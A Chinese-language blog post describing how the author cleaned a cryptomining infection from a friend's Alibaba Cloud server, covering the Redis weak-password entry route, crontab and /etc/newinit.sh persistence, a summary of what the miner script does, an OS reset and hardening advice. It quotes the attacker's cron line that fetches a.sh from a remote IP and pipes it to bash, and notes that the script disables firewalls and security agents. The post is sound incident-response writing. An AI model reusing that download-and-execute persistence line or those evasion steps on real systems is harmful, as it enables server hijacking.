服务器被黑客用来挖矿?怎么办?
哈喽,大家好,我是老表~
昨天下午一个朋友和我说,他的服务器被阿里云监测出来在挖矿,然后阿里云官方把服务器给关停了。
不用急,这个时候最简单的方法是在阿里云里提一个工单,反馈相关问题。
解禁服务器
要解决问题、排查删除挖矿程序,首先我们需要解禁服务器,登录阿里云官方平台后,依次点击 控制台
-> 个人头像
-> 安全管控
进入相关页面。
在处罚列表,我们可以看到相关处罚记录,点击解除封禁
后即可正常进入服务器了。
会有提示,需要在解禁后三日内找到挖矿程序,并删除,否则官方会再次封禁服务器,而且无法再次进行解封(差不多意思就是,这个服务器就废了!直接被官方回收)
问题排查
“黑客”是怎么登录控制我的服务器的?
我们首先可以看阿里云提供的漏洞管理监测
,发现确实有一个漏洞,提示:Redis 未授权弱口令
。
我网络上查了,确实可以通过Redis向系统注入本地公钥到服务器的/root/.ssh/authorized_keys
中,然后“黑客”就可以在本地免密登录你的服务器了。。。
所以,如果你的服务器上安装了redis的话,可以首先考虑这个问题,引起这个问题的主要原因一般有:
- Redis设置了可远程登录(公网访问)
- Redis没有设置密码或者密码很简单
所以不是业务需求的话,不要开放redis远程登录,另外设置一个较为复杂的、不会在网络出现的密码,开放端口也可以改下,另外还有一个点就是不要用root用户启动redis,这样即使远程连接上redis,也无法去修改root下权限了~
具体相关介绍可以看这篇文章:blog.csdn.net/fdl123456/a…
上面了了可能是redis弱命令导致了“黑客”有机会登录我们的服务器,但我看了,我朋友的服务器上并没有安装redis(也不知道为啥阿里云会检测出这个漏洞)。。。
那我继续找问题,首先需要登录服务器,问登录密码的时候发现,登录密码在(阿里云客服)工单里?有点懵哈哈哈哈。。。
原来我这个朋友,之前因为自己改登录密码后没法远程连接,所以提工单找过客服帮忙改远程连接密码,而客服设置的密码应该算比较常见Aliyun2021@zSS
。。。到目前,个人感觉应该是远程连接密码被破解/泄漏,导致的挖矿程序侵入。(欢迎大家指正哈)
找到挖矿程序
一般来说,挖矿程序要想一直运行,那么必然会设置一些定时任务,在linux下一般用cron进行设置,其中用户可以使用crontab来设置定时任务。
首先我们可以输入crontab -e
编辑root用户的crontab文件内容,看看是否有定时任务;
crontab -e
复制代码
(默认是使用vim编辑器,如果要退出编辑模式,可以先按ESC,再输入:qw
回车即可退出,Linux相关操作具体可以看拥有有一台服务器后,我竟然这么酷?)进入文件编辑,虽然指令不怎么能看懂,但是看到了一个网址、一个ip地址,首先非常确定这个ip不是我目前登录的这个服务器的,而且看整理链接,应该是下载了一个a.sh
文件,有点矿味了~
*/30 * * * * /bin/cdz -fsSL http://104.192.82.138/sxxxxx5/a/a.sh | bash > /dev/null 2>&1
复制代码
我退出后,他还显示我没有修改权限?他奶奶的~可以使用ls -l /tmp/crontab.LQJ6aT
查看文件权限所属人,当然可以直接用sudo
指令强制修改或者删除。
我们可以查了下这个IP地址基本信息,可以看到,是一个美国的ip~那就八九不离十了,就是个挖矿的!!!
那我们就继续来研究下前面找到的crontab
问题,首先进入到/tmp
目录下,查看所有crontab相关文件内容~
发现有的有,有的没有,我们直接使用rm -rf 文件名
删除所有相关文件:
sudo rm -rf crontab.*
复制代码
我以为应该这样就好了,再次运行crontab -e
,发现会生成新的crontab.*
文件,而且自动有挖矿的内容~离谱!!!
思前想后,可能是crontab
配置的问题,输入下面指令看看相关配置文件~果不其然,
cat /etc/crontab
复制代码
虽然还是不能完全看懂命令含义,但是看到这个newinit.sh
就知道没好事,
于是在自己云服务器上看了看,果然不同。
从网络上crontab
相关教程也可以看出,我自己的是正常的~
那是不是修改下crontab
配置文件就可以了呢?
简单分析挖矿程序
我们得来看看这个shit的挖矿脚本!!!从配置文件可以看出这个脚本在/etc/newinit.sh
,我们直接使用nano
来查看这个文件内容,
nano /etc/newinit.sh
复制代码
可以看到这个脚本一共有125行代码~其他看不懂,这个函数名看懂了kill主进程~
接下来我们来一起看看,他这个脚本都做了些什么(老表我对linux相关操作并不熟悉,所以以下关于脚本文件的简单分析难免会有不正确或者错误的地方,敬请大家批评指正,但不可恶意攻击~):
part one
设置
ulimit
,修改了两个目录chattr
的权限,而chattr
可用于修改Linux文件系统上的文件属性,这样就是为什么之前即使在root用户下也会显示无法修改文件的原因。关闭iptables和ufw防火墙、nmi(不可屏蔽的中断)看门狗,修改文件目录权限为只可追加、删除tmp、var文件夹中某些文件
part two
- 这里比较简单,设置了一些文件路径,然后进行一些乱七八糟的mv操作,相当于文件重命名了~
part three
- 大制作了,卸载阿里云相关的安全防护,阿里云安骑士aegis。
part four
- 挖矿程序配置,这个
zzh
是一个可执行程序,估计就是挖矿程序,newinit.sh
就是现在正在简单分享的挖矿程序脚本,也就是即使我把本地的脚本文件删除了,如果这里没删除,他又会从他自己的服务器上下载。
part five
- 这里不太理解,大概在判断程序指令是否正常?如果不正常就修改文件权限?有了解的可以补充下哈~
finally
- 感觉是一个函数,有
{
却没有}
,看函数意思是删除主程序进程, netstat -anp
显示各种网络相关信息,grep
进行ip或者端口查找,定位到行,awk
按指定设置输出对应文本,比如awk '{print $7}'
按空格/tab为界限输出文本中的第七项内容,|
是管道命令,作用是将左侧命令执行结果作为参数传递给右侧命令执行(需要经过xargs转换),xargs
可以将管道命令的左侧执行结果转换成命令行参数,传递给右侧命令执行
最后,我又看了下part four中提到的挖矿程序配置里的链接,不看不知道,一看吓一跳,原来这个有996行代码(是在暗示什么吗!!!)
修改了很多系统配置~如果服务器里要是有什么重要的东西,或者之前配过什么很麻烦的环境,要修改还是挺麻烦了!
清理挖矿程序
最简单的方法就是直接重置系统,我这里也选择的这种方法,因为这个朋友服务器里没啥要备份的。
如前面所说,如果有很多重要东西和难配置的环境,你不想花时间备份和再配置一变,你可以选择根据挖矿脚本程序去一个个修复他对系统的修改。。。看着996行代码就觉得心累!
重置系统的话就相对会简单很多,进入到阿里云控制台,然后找到对应实例,先停止服务器,然后点击更多
-> 云盘和镜像
-> 更换操作系统
。
会有一个更换提醒,建议仔细看一遍。
更换操作系统可以选择和之前一样的配置,或者其他配置,然后点击确认订单
即可。
更换成功后,会自动启动服务器,我们可以点击管理控制台
,然后尝试远程登录下。
这里相关操作和设置和我们之前分享的拥有有一台服务器后,我竟然这么酷?中的介绍基本一致,通过下图,我们可以看到crontab
配置是正常的了。
最后我们可以过一段时间后看看cpu使用情况,可以看到之前基本都是100%使用率,重置系统后,使用率变成了2.6%左右。
服务器安全防范建议
首先防范的前提是不影响我们使用,甚至所有操作应该是方便我们使用的。
1、目前我还是推荐初次接触或者对云服务器不熟的读者朋友使用宝塔面板
来登录、操作服务器内容,具体功能和使用方法,大家可以看我之前的分享Linux里的宝塔,真正的宝塔!详细教程。
2、所有安装的应用服务,尽量不要使用默认端口号,有密码的设置密码,不要嫌麻烦,可以是用1password.com
这个网站生成随机密码,我之前也分享过一个脚本~
import string
import random
while True:try:password_len = int(input('请输入密码长度(只能是数字):'))password = ''.join(random.choices(string.printable.strip(), k=password_len))print(f'你的新密码为:{password},请保存好~')except Exception as e:print(f'【出错啦】看看是不是输入错误吧,可能是输入了非数字内容,错误信息:{e}')print('*** 想结束就输入0吧!!!***')print('*** 回车继续生成新密码 ***')flag = input('是否继续生成新密码:')if flag == '0':breakprint('******************************************')
复制代码
3、系统自带的防火墙、安全防护都不要关闭~
其他的方法,欢迎大家补充~今天就到这里啦!
坚持 and 努力 : 终有所获。
点赞 在看 留言 转发 ,四连支持。好的,那么下期见,我是爱猫爱技术,更爱思思的老表⁽⁽ଘ( ˙꒳˙ )ଓ⁾⁾
服务器被黑客用来挖矿?怎么办?相关推荐
- 记服务器被黑客攻击事件(肉鸡)
2019年1月15日 早 在服务器上安装了 Redis 未设置密码 项目中配置地址后访问OK 2019年1月15日 下午 阿里客服小姐姐 发来慰问电,问我对他们的服务器是否满意,我狠狠的批评了他们,服 ...
- 本人服务器遭受黑客长期攻击,特把这几天做的一些有用的安全方面总结出来,以方便以后查阅
消息队列 iis 360 north rar sql2000 netscren 本人服务器遭受黑客长期攻击,特把这几天做的一些有用的安全方面总结出来,以方便以后查阅,希望这次彻底解觉黑客的攻击,特次谢 ...
- 删除顽固文件的执行代码,删除rhsa属性文件,删除服务器中黑客留下...
删除顽固文件的执行代码,删除rhsa属性文件,删除服务器中黑客留下的畸形文件文件有时候服务器的网站空间被黑客入侵,上传了删除不了的文件,我们可以用bat代码来执行删除. DEL /F /A /Q ...
- 进程与服务的签名_服务器被黑客攻击后如何查找溯源攻击
服务器被黑客攻击后如何查找溯源攻击 现在国内互联网环境复杂,网络攻击事件频发,大部分互联网企业都有被网络攻击的经历.当互联网公司遭到网络攻击时,直接导致在线业务瘫痪,给企业造成巨大的经济损失.小蚁安全 ...
- 韩购物网站服务器遭黑客攻击 千万用户信息被泄
据韩媒26日报道,韩国著名购物网站Interpark的服务器遭黑客攻击,1000万以上客户的个人信息被泄漏. 韩国警察厅网络安全局介绍,本月11日发现Interpark服务器于今年5月遭到黑客攻击,1 ...
- 服务器被黑客攻击了,如何去处理?
服务器被攻击一般有两种比较常见的方式:一是恶意的攻击行为,如拒绝服务攻击,网络病毒等等,这种方式就是消耗服务器资源,影响服务器的正常运作,甚至服务器所在网络的瘫痪;另外一个就是恶意的入侵行为,这种行为 ...
- 记一次服务器被黑客攻击(暴力破解密码)的记录
文章目录 说明: 1.我是怎么发现的呐? 2.开始弥补我的过错 ①.查看阿里云 ②.重置服务器+修改密码 ③.修改安全组 3.感谢这次黑客的入侵 说明: 其实我没有想过我的服务器被黑客攻击,直到我今天 ...
- 服务器被黑客攻击和被挖矿之后的SSH安全防御 | SSH security defense after server is hacked and mined
PS:本人非专业网络安全攻防人员,仅为个人实践经验.本文可能难免有不当之处,欢迎您的讨论和指导.此外,本文同时发布在个人GitHub Pages上了,欢迎访问和指导. 1. 确定服务器是否被黑客攻击和 ...
- 服务器被黑客攻击,用来挖矿,怎么办?
昨天下午一个朋友和我说,他的服务器被阿里云监测出来在挖矿,然后阿里云官方把服务器给关停了. 不用急,这个时候最简单的方法是在阿里云里提一个工单,反馈相关问题.编程学习资料点击免费领取 解禁服务器 要解 ...
最新文章
- 利用jQuery获取jsonp
- GRE写作-政府官员必须执行人民意愿还是独立决策?
- python mysql倒序_day40:MySQL:python操作mysql:pymysql模块SQL注入攻击
- RabbitMQ实例教程:发布/订阅者消息队列
- Python globals 函数 - Python零基础入门教程
- java 枚举迭代_Java中的枚举和迭代器之间的区别
- VS里的新建模板(自动添加版本注释)
- Unity 烘焙材质到单一贴图的脚本
- 最有效的更改linux 系统时区的方法
- linux ubuntu用哪个版本,Ubuntu到底哪个版本最好用?
- SAP PM 第一节 PM后台配置
- 学校计算机社团都干些什么,学校计算机社团工作计划
- maven工程报错:One or more constraints have not been satisfied
- syswow64删除文件_syswow64 c盘syswow64可以删除吗
- word论文删除封面或前几页的页眉或横线
- 关于指令test ecx,ecx
- 巧设BIOS,让老主板也支持U盘启动!
- 合并两个递增的有序数组
- 物联网与大数据技术-1
- 重装win7旗舰版系统无线网络红叉问题解决办法